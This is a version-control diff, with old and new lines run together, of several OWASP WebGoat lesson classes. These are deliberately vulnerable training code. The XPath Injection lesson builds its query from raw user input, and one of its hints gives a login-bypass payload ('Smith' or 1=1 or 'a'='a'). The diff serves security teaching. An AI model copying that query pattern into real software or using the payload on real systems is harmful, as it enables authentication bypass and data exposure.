* @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a> * @author Sherif Koussa <a href="http://www.macadamian.com">Macadamian Technologies.</a>
* @created November 28, 2006 * @created November 28, 2006
*/ */
public class XPATHInjection extends LessonAdapter public class XPATHInjection extends LessonAdapter
{ {
private final static Integer DEFAULT_RANKING = new Integer(74); private final static Integer DEFAULT_RANKING = new Integer(74);
private final static String USERNAME = "Username"; private final static String USERNAME = "Username";
private final static String PASSWORD = "Password"; private final static String PASSWORD = "Password";
private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt( private final static IMG MAC_LOGO = new IMG("images/logos/macadamian.gif").setAlt("Macadamian Technologies")
"Macadamian Technologies").setBorder(0).setHspace(0).setVspace(0); .setBorder(0).setHspace(0).setVspace(0);
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
NodeList nodes = null;
ElementContainer ec = new ElementContainer();
try
{ {
ec.addElement(new BR().addElement(new H1()
.addElement("Welcome to WebGoat employee intranet")));
ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0)
.setBorder(0).setWidth("90%").setAlign("center");
TR tr = new TR(); NodeList nodes = null;
tr ElementContainer ec = new ElementContainer();
.addElement(new TH()
.addElement(
"Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left"));
t1.addElement(tr);
tr = new TR(); try
tr.addElement(new TD().addElement("*Required Fields").setWidth( {
"30%").setColSpan(2).setAlign("left")); ec.addElement(new BR().addElement(new H1().addElement("Welcome to WebGoat employee intranet")));
t1.addElement(tr); ec.addElement(new BR());
Table t1 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(0).setWidth("90%").setAlign("center");
tr = new TR(); TR tr = new TR();
tr.addElement(new TD().addElement("&nbsp").setWidth("30%") tr.addElement(new TH().addElement("Please confirm your username and password before viewing your profile.")
.setColSpan(2).setAlign("left")); .setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new B(new StringElement("*User Name: ")))); tr.addElement(new TD().addElement("*Required Fields").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr);
Input input1 = new Input(Input.TEXT, USERNAME, ""); tr = new TR();
tr.addElement(new TD(input1)); tr.addElement(new TD().addElement("&nbsp").setWidth("30%").setColSpan(2).setAlign("left"));
t1.addElement(tr); t1.addElement(tr);
tr = new TR(); tr = new TR();
tr.addElement(new TD(new B(new StringElement("*Password: ")))); tr.addElement(new TD(new B(new StringElement("*User Name: "))));
Input input2 = new Input(Input.PASSWORD, PASSWORD, ""); Input input1 = new Input(Input.TEXT, USERNAME, "");
tr.addElement(new TD(input2)); tr.addElement(new TD(input1));
t1.addElement(tr); t1.addElement(tr);
Element b = ECSFactory.makeButton("Submit"); tr = new TR();
t1.addElement(new TR(new TD(b))); tr.addElement(new TD(new B(new StringElement("*Password: "))));
ec.addElement(t1);
String username = s.getParser().getRawParameter(USERNAME, ""); Input input2 = new Input(Input.PASSWORD, PASSWORD, "");
if (username == null || username.length() == 0) tr.addElement(new TD(input2));
{ t1.addElement(tr);
ec.addElement(new P().addElement(new StringElement(
"Username is a required field"))); Element b = ECSFactory.makeButton("Submit");
t1.addElement(new TR(new TD(b)));
ec.addElement(t1);
String username = s.getParser().getRawParameter(USERNAME, "");
if (username == null || username.length() == 0)
{
ec.addElement(new P().addElement(new StringElement("Username is a required field")));
return ec;
}
String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0)
{
ec.addElement(new P().addElement(new StringElement("Password is a required field")));
return ec;
}
String dir = s.getContext().getRealPath("/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='" + username + "' and passwd/text()='" + password
+ "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource, XPathConstants.NODESET);
int nodesLength = nodes.getLength();
Table t2 = null;
if (nodesLength > 0)
{
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(1).setWidth("90%").setAlign("center");
tr = new TR();
tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username"));
tr.addElement(new TD().addElement("Account No."));
tr.addElement(new TD().addElement("Salary"));
t2.addElement(tr);
}
for (int i = 0; i < nodesLength; i++)
{
Node node = nodes.item(i);
String[] arrTokens = node.getTextContent().split("[\\t\\s\\n]+");
tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1]));
tr.addElement(new TD().addElement(arrTokens[2]));
tr.addElement(new TD().addElement(arrTokens[4]));
t2.addElement(tr);
}
if (nodes.getLength() > 1)
{
makeSuccess(s);
}
if (t2 != null)
{
ec.addElement(new PRE());
ec.addElement(t2);
}
} catch (IOException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} catch (IllegalArgumentException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} catch (XPathExpressionException e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return ec; return ec;
}
String password = s.getParser().getRawParameter(PASSWORD, "");
if (password == null || password.length() == 0)
{
ec.addElement(new P().addElement(new StringElement(
"Password is a required field")));
return ec;
}
String dir = s.getContext().getRealPath(
"/lessons/XPATHInjection/EmployeesData.xml");
File d = new File(dir);
XPathFactory factory = XPathFactory.newInstance();
XPath xPath = factory.newXPath();
InputSource inputSource = new InputSource(new FileInputStream(d));
String expression = "/employees/employee[loginID/text()='"
+ username + "' and passwd/text()='" + password + "']";
nodes = (NodeList) xPath.evaluate(expression, inputSource,
XPathConstants.NODESET);
int nodesLength = nodes.getLength();
Table t2 = null;
if (nodesLength > 0)
{
t2 = new Table().setCellSpacing(0).setCellPadding(0).setBorder(
1).setWidth("90%").setAlign("center");
tr = new TR();
tr.setBgColor(HtmlColor.GRAY);
tr.addElement(new TD().addElement("Username"));
tr.addElement(new TD().addElement("Account No."));
tr.addElement(new TD().addElement("Salary"));
t2.addElement(tr);
}
for (int i = 0; i < nodesLength; i++)
{
Node node = nodes.item(i);
String[] arrTokens = node.getTextContent()
.split("[\\t\\s\\n]+");
tr = new TR();
tr.addElement(new TD().addElement(arrTokens[1]));
tr.addElement(new TD().addElement(arrTokens[2]));
tr.addElement(new TD().addElement(arrTokens[4]));
t2.addElement(tr);
}
if (nodes.getLength() > 1)
{
makeSuccess(s);
}
if (t2 != null)
{
ec.addElement(new PRE());
ec.addElement(t2);
}
} }
catch (IOException e)
public Element getCredits()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
e.printStackTrace();
} }
catch (IllegalArgumentException e)
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace(); return Category.INJECTION;
} }
catch (XPathExpressionException e)
protected boolean getDefaultHidden()
{ {
s.setMessage("Error generating " + this.getClass().getName()); // TODO Auto-generated method stub
e.printStackTrace(); return false;
} }
return ec;
}
protected Integer getDefaultRanking()
{
public Element getCredits() return DEFAULT_RANKING;
{ }
return super.getCustomCredits("Created by Sherif Koussa ", MAC_LOGO);
}
protected List<String> getHints(WebSession s)
{
// TODO Auto-generated method stub
List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query.");
hints.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints;
}
protected Category getDefaultCategory() public String getTitle()
{ {
return Category.INJECTION; return "XPATH Injection";
} }
protected boolean getDefaultHidden()
{
// TODO Auto-generated method stub
return false;
}
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
protected List<String> getHints(WebSession s)
{
// TODO Auto-generated method stub
List<String> hints = new ArrayList<String>();
hints.add("Remember that the data is stored in XML format.");
hints.add("The system is using XPath to query.");
hints
.add("XPath is almost the same thing as SQL, the same hacking techniques apply too.");
hints
.add("Try username: Smith' or 1=1 or 'a'='a and a password: anything ");
return hints;
}
public String getTitle()
{
return "XPATH Injection";
}
} }

View File

@ -1,104 +1,104 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import org.owasp.webgoat.lessons.AbstractLesson; import org.owasp.webgoat.lessons.AbstractLesson;
import org.owasp.webgoat.session.Screen; import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public abstract class AdminScreen extends Screen public abstract class AdminScreen extends Screen
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected String query = null; protected String query = null;
/**
* Constructor for the AdminScreen object
*
* @param s
* Description of the Parameter
* @param q
* Description of the Parameter
*/
public AdminScreen(WebSession s, String q)
{
setQuery(q);
/** // setupAdmin(s); FIXME: what was this supposed to do?
* Constructor for the AdminScreen object }
*
* @param s Description of the Parameter
* @param q Description of the Parameter
*/
public AdminScreen(WebSession s, String q)
{
setQuery(q);
// setupAdmin(s); FIXME: what was this supposed to do? /**
} * Constructor for the AdminScreen object
*
* @param s
* Description of the Parameter
*/
public AdminScreen(WebSession s)
{
}
/**
* Constructor for the AdminScreen object
*/
public AdminScreen()
{
}
/** /**
* Constructor for the AdminScreen object * Gets the title attribute of the AdminScreen object
* *
* @param s Description of the Parameter * @return The title value
*/ */
public AdminScreen(WebSession s) public String getTitle()
{} {
return ("Admin Information");
}
public String getRole()
{
return AbstractLesson.ADMIN_ROLE;
}
/** /**
* Constructor for the AdminScreen object * Sets the query attribute of the AdminScreen object
*/ *
public AdminScreen() * @param q
{} * The new query value
*/
public void setQuery(String q)
/** {
* Gets the title attribute of the AdminScreen object query = q;
* }
* @return The title value
*/
public String getTitle()
{
return ("Admin Information");
}
public String getRole()
{
return AbstractLesson.ADMIN_ROLE;
}
/**
* Sets the query attribute of the AdminScreen object
*
* @param q The new query value
*/
public void setQuery(String q)
{
query = q;
}
} }

View File

@ -1,10 +1,10 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.ResultSetMetaData; import java.sql.ResultSetMetaData;
import java.sql.Statement; import java.sql.Statement;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.owasp.webgoat.lessons.Category; import org.owasp.webgoat.lessons.Category;
@ -12,117 +12,110 @@ import org.owasp.webgoat.lessons.LessonAdapter;
import org.owasp.webgoat.session.DatabaseUtilities; import org.owasp.webgoat.session.DatabaseUtilities;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class ProductsAdminScreen extends LessonAdapter public class ProductsAdminScreen extends LessonAdapter
{ {
private final static String QUERY = "SELECT * FROM product_system_data"; private final static String QUERY = "SELECT * FROM product_system_data";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
ElementContainer ec = new ElementContainer();
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); ElementContainer ec = new ElementContainer();
Statement statement = connection.createStatement( try
ResultSet.TYPE_SCROLL_INSENSITIVE, {
ResultSet.CONCUR_READ_ONLY); Connection connection = DatabaseUtilities.getConnection(s);
ResultSet results = statement.executeQuery(QUERY);
if (results != null) Statement statement = connection.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
{ ResultSet.CONCUR_READ_ONLY);
makeSuccess(s); ResultSet results = statement.executeQuery(QUERY);
ResultSetMetaData resultsMetaData = results.getMetaData();
ec.addElement(DatabaseUtilities.writeTable(results, if (results != null)
resultsMetaData)); {
} makeSuccess(s);
} ResultSetMetaData resultsMetaData = results.getMetaData();
catch (Exception e) ec.addElement(DatabaseUtilities.writeTable(results, resultsMetaData));
{ }
s.setMessage("Error generating " + this.getClass().getName()); } catch (Exception e)
e.printStackTrace(); {
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
}
return (ec);
} }
return (ec); /**
} * Gets the category attribute of the ProductsAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
/**
* Gets the role attribute of the ProductsAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/** /**
* Gets the category attribute of the ProductsAdminScreen object * Gets the title attribute of the ProductsAdminScreen object
* *
* @return The category value * @return The title value
*/ */
protected Category getDefaultCategory() public String getTitle()
{ {
return Category.ADMIN_FUNCTIONS; return ("Product Information");
} }
private final static Integer DEFAULT_RANKING = new Integer(1000);
/** protected Integer getDefaultRanking()
* Gets the role attribute of the ProductsAdminScreen object {
* return DEFAULT_RANKING;
* @return The role value }
*/
public String getRole()
{
return HACKED_ADMIN_ROLE;
}
/**
* Gets the title attribute of the ProductsAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Product Information");
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
} }

View File

@ -1,8 +1,8 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.sql.Connection; import java.sql.Connection;
import org.owasp.webgoat.lessons.*; import org.owasp.webgoat.lessons.*;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.StringElement; import org.apache.ecs.StringElement;
@ -12,155 +12,146 @@ import org.apache.ecs.html.TR;
import org.apache.ecs.html.Table; import org.apache.ecs.html.Table;
import org.owasp.webgoat.session.*; import org.owasp.webgoat.session.*;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a> * @author Jeff Williams <a href="http://www.aspectsecurity.com">Aspect Security</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class RefreshDBScreen extends LessonAdapter public class RefreshDBScreen extends LessonAdapter
{ {
private final static String REFRESH = "Refresh"; private final static String REFRESH = "Refresh";
/** /**
* Description of the Method * Description of the Method
* *
* @param s Description of the Parameter * @param s
* @return Description of the Return Value * Description of the Parameter
*/ * @return Description of the Return Value
protected Element createContent(WebSession s) */
{ protected Element createContent(WebSession s)
ElementContainer ec = new ElementContainer();
try
{ {
boolean refresh = s.getParser().getBooleanParameter(REFRESH, false); ElementContainer ec = new ElementContainer();
if (refresh) try
{
refreshDB(s);
ec.addElement(new StringElement(
"Successfully refreshed the database."));
}
else
{
Element label = new StringElement("Refresh the database? ");
A link1 = ECSFactory.makeLink("Yes", REFRESH, true);
A link2 = ECSFactory.makeLink("No", REFRESH, false);
TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement(
td3);
Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor())
{ {
t.setBorder(1); boolean refresh = s.getParser().getBooleanParameter(REFRESH, false);
if (refresh)
{
refreshDB(s);
ec.addElement(new StringElement("Successfully refreshed the database."));
}
else
{
Element label = new StringElement("Refresh the database? ");
A link1 = ECSFactory.makeLink("Yes", REFRESH, true);
A link2 = ECSFactory.makeLink("No", REFRESH, false);
TD td1 = new TD().addElement(label);
TD td2 = new TD().addElement(link1);
TD td3 = new TD().addElement(link2);
TR row = new TR().addElement(td1).addElement(td2).addElement(td3);
Table t = new Table().setCellSpacing(40).setWidth("50%");
if (s.isColor())
{
t.setBorder(1);
}
t.addElement(row);
ec.addElement(t);
}
} catch (Exception e)
{
s.setMessage("Error generating " + this.getClass().getName());
e.printStackTrace();
} }
t.addElement(row); return (ec);
ec.addElement(t);
}
} }
catch (Exception e)
/**
* Gets the category attribute of the RefreshDBScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{ {
s.setMessage("Error generating " + this.getClass().getName()); return Category.ADMIN_FUNCTIONS;
e.printStackTrace();
} }
return (ec); private final static Integer DEFAULT_RANKING = new Integer(1000);
}
protected Integer getDefaultRanking()
/**
* Gets the category attribute of the RefreshDBScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the RefreshDBScreen object
*
* @return The role value
*/
public String getRole()
{
return ADMIN_ROLE;
}
/**
* Gets the title attribute of the RefreshDBScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Refresh Database");
}
/**
* Description of the Method
*
* @param s Description of the Parameter
*/
public void refreshDB(WebSession s)
{
try
{ {
Connection connection = DatabaseUtilities.getConnection(s); return DEFAULT_RANKING;
}
CreateDB db = new CreateDB(); /**
db.makeDB(connection); * Gets the role attribute of the RefreshDBScreen object
System.out.println("Successfully refreshed the database."); *
} * @return The role value
catch (Exception e) */
public String getRole()
{ {
s.setMessage("Error refreshing database " return ADMIN_ROLE;
+ this.getClass().getName()); }
e.printStackTrace();
/**
* Gets the title attribute of the RefreshDBScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Refresh Database");
}
/**
* Description of the Method
*
* @param s
* Description of the Parameter
*/
public void refreshDB(WebSession s)
{
try
{
Connection connection = DatabaseUtilities.getConnection(s);
CreateDB db = new CreateDB();
db.makeDB(connection);
System.out.println("Successfully refreshed the database.");
} catch (Exception e)
{
s.setMessage("Error refreshing database " + this.getClass().getName());
e.printStackTrace();
}
} }
}
} }

View File

@ -1,7 +1,7 @@
package org.owasp.webgoat.lessons.admin; package org.owasp.webgoat.lessons.admin;
import java.util.Iterator; import java.util.Iterator;
import org.apache.ecs.Element; import org.apache.ecs.Element;
import org.apache.ecs.ElementContainer; import org.apache.ecs.ElementContainer;
import org.apache.ecs.HtmlColor; import org.apache.ecs.HtmlColor;
@ -20,302 +20,286 @@ import org.owasp.webgoat.session.Screen;
import org.owasp.webgoat.session.UserTracker; import org.owasp.webgoat.session.UserTracker;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
* *
* @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a> * @author Bruce Mayhew <a href="http://code.google.com/p/webgoat">WebGoat</a>
* @created October 28, 2003 * @created October 28, 2003
*/ */
public class ReportCardScreen extends LessonAdapter public class ReportCardScreen extends LessonAdapter
{ {
/** /**
* Description of the Field * Description of the Field
*/ */
protected final static String USERNAME = "Username"; protected final static String USERNAME = "Username";
/**
/** * Description of the Method
* Description of the Method *
* * @param s
* @param s Description of the Parameter * Description of the Parameter
* @return Description of the Return Value * @return Description of the Return Value
*/ */
protected Element createContent(WebSession s) protected Element createContent(WebSession s)
{
ElementContainer ec = new ElementContainer();
String user = null;
try
{ {
if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN)) ElementContainer ec = new ElementContainer();
{
user = s.getParser().getRawParameter(USERNAME);
}
else
{
user = s.getUserName();
}
}
catch (Exception e)
{}
if (user == null) String user = null;
{
user = s.getUserName(); try
{
if (s.getRequest().isUserInRole(WebSession.WEBGOAT_ADMIN))
{
user = s.getParser().getRawParameter(USERNAME);
}
else
{
user = s.getUserName();
}
} catch (Exception e)
{
}
if (user == null)
{
user = s.getUserName();
}
ec.addElement(makeFeedback(s));
ec.addElement(makeReportCard(s, user));
return ec;
} }
ec.addElement(makeFeedback(s)); private Element makeFeedback(WebSession s)
ec.addElement(makeReportCard(s, user));
return ec;
}
private Element makeFeedback(WebSession s)
{
ElementContainer ec = new ElementContainer();
ec.addElement(new Center(new StringElement(
"Comments and suggestions are welcome. "
+ getWebgoatContext().getFeedbackAddress())));
return ec;
}
/**
* Gets the category attribute of the UserAdminScreen object
*
* @return The category value
*/
protected Category getDefaultCategory()
{
return Category.ADMIN_FUNCTIONS;
}
private final static Integer DEFAULT_RANKING = new Integer(1000);
protected Integer getDefaultRanking()
{
return DEFAULT_RANKING;
}
/**
* Gets the role attribute of the UserAdminScreen object
*
* @return The role value
*/
public String getRole()
{
return USER_ROLE;
}
/**
* Gets the title attribute of the UserAdminScreen object
*
* @return The title value
*/
public String getTitle()
{
return ("Report Card");
}
/**
* Description of the Method
*
* @param screen Description of the Parameter
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
private TR makeLessonRow(WebSession s, String user, Screen screen)
{
LessonTracker lessonTracker = UserTracker.instance().getLessonTracker(
s, user, screen);
TR tr = new TR();
if (lessonTracker.getCompleted())
{ {
tr.setBgColor(HtmlColor.LIGHTGREEN); ElementContainer ec = new ElementContainer();
} ec.addElement(new Center(new StringElement("Comments and suggestions are welcome. "
else if (lessonTracker.getNumVisits() == 0) + getWebgoatContext().getFeedbackAddress())));
{
tr.setBgColor(HtmlColor.LIGHTBLUE);
}
else if (!lessonTracker.getCompleted()
&& lessonTracker.getNumVisits() > 10)
{
tr.setBgColor(HtmlColor.RED);
}
else
{
tr.setBgColor(HtmlColor.YELLOW);
}
tr.addElement(new TD().addElement(screen.getTitle()));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getCompleted() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getNumVisits())));
tr.addElement(new TD().setAlign("CENTER").addElement(
Integer.toString(lessonTracker.getMaxHintLevel())));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedCookies() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedHtml() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedLessonPlan() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedParameters() ? "Y" : "N"));
tr.addElement(new TD().setAlign("CENTER").addElement(
lessonTracker.getViewedSource() ? "Y" : "N"));
return tr;
}
return ec;
/**
* Description of the Method
*
* @param s Description of the Parameter
* @return Description of the Return Value
*/
protected Element makeMessages(WebSession s)
{
ElementContainer ec = new ElementContainer();
return (ec);
}
/**
* Description of the Method
*
* @param s Description of the Parameter
* @param user Description of the Parameter
* @return Description of the Return Value
*/
public Element makeReportCard(WebSession s, String user)
{
ElementContainer ec = new ElementContainer();
ec.addElement(makeUser(s, user));
Table t = new Table().setCellSpacing(0).setCellPadding(2).setBorder(1);
if (s.isColor())
{
t.setBorder(1);
}
TR tr = new TR();
t.addElement(makeUserHeaderRow());
// These are all the user lesson
tr = new TR();
tr.addElement(new TD().setAlign("CENTER").setColSpan(9).addElement(
"Normal user lessons"));
t.addElement(tr);
for (Iterator lessonIter = s.getCourse().getLessons(s,
AbstractLesson.USER_ROLE).iterator(); lessonIter.hasNext();)
{
Screen screen = (Screen) lessonIter.next();
t.addElement(makeLessonRow(s, user, screen));
} }
// The user figured out there was a hackable admin acocunt /**
tr = new TR(); * Gets the category attribute of the UserAdminScreen object
